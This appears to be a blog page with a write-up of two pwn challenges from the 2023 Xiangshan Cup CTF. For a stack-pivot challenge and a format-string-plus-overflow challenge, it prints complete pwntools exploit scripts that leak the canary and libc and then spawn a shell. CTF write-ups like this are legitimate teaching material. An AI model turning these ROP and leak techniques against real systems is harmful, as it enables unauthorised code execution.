news 2026/6/9 22:46:46

2023香山杯CTF

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
2023香山杯CTF

move

一眼栈溢出,然后三次栈迁移。

exp

from tools import* context(os='linux',arch='amd64',log_level='debug') p,e,libc=load("./pwn") pop_rdi=0x401353 ret=0x40101a bss=0x4050A0 leave_ret=0x40124b read=0x401230 pop_rbp=0x40119d payload=p64(pop_rbp)+p64(bss)+p64(read) p.recvuntil("lets travel again!\n") debug(p,0x40124B,0x4012D6) p.send(payload) p.recvuntil("Input your setp number") p.send('\x78\x56\x34\x12') payload=b"a"*0x26+b'bb'+p64(bss-8)*2+p64(leave_ret) p.send(payload) payload=p64(0x405070-8)+p64(pop_rdi)+p64(e.got['puts'])+p64(0x40125C )+p64(0x405070-8)+p64(read)+p64(0x405070)+p64(leave_ret) p.send(payload) libc_base=recv_libc()-0x80970 log_addr('libc_base') bin_sh=libc_base+0x1b3d88 system_addr=libc_base+0x4f420 payload=p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)+p64(0xdeadbeef)*2+p64(0x405030)+p64(leave_ret) p.sendline(payload) p.interactive()

pwthon

漏洞比较简单,就是格式化字符串,栈溢出,难的是第一次见这种题型,不知道怎么本地运行的,泄露canary查找溢出偏移都是远程完成的,直到查找libc麻瓜了,必须本地调试

这个本地调试的方法有以下几个点

1、必须是python3.7

2、使用sys.path.append("/home/zikh/Desktop/app.cpython-37m-x86_64-linux-gnu.so")去导入他给的库

3、使用gdb调试他给的库,在用attach调试进程

结合本地和远程泄露的libc地址发现libc就是我本地的环境

exp

from tools import* context.log_level = "debug" p=process(["python3.7","main.py"]) # p=remote('123.56.9.101',16674) p.sendlineafter('> ','0') p.sendline(b'%p.'*(0x20)) p.recv() data=p.recv() canary=data[-22:-4] libc_base=data[-79:-65]# log_info(canary) log_info(libc_base) canary=int(canary,16) libc_base=int(libc_base,16)-0x10fcdd log_addr('canary') log_addr('libc_base') p.sendline(b'a'*264+p64(canary)*2+p64(libc_base+0x4f2a5))​ p.interactive()

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/7 11:40:13

【Java毕设全套源码+文档】基于springboot的个性化推荐影院网站设计与实现(丰富项目+远程调试+讲解+定制)

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

作者头像 李华
网站建设 2026/6/9 7:53:03

【Java毕设全套源码+文档】基于springboot的小型民营加油站管理系统设计与实现(丰富项目+远程调试+讲解+定制)

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

作者头像 李华
网站建设 2026/6/7 11:46:21

【Java毕设全套源码+文档】基于springboot的特殊儿童家长教育能力提升平台设计与实现(丰富项目+远程调试+讲解+定制)

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

作者头像 李华
网站建设 2026/6/7 10:56:38

【Java毕设全套源码+文档】基于springboot的农业收成管理系统设计与实现(丰富项目+远程调试+讲解+定制)

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

作者头像 李华
网站建设 2026/6/8 14:55:34

植物大战僵尸杂交版下载安装教程(v0.2最新重制版全平台图文详解)

前言 要说 2025 年最受玩家讨论的塔防游戏,《植物大战僵尸杂交版-最新重制版 v0.2》绝对是热度榜前列的一员。 这款版本在延续经典玩法的基础上,融入全新的杂交系统、变异关卡和高画质重制,让老玩家重新找回了当年的手感,也让新玩…

作者头像 李华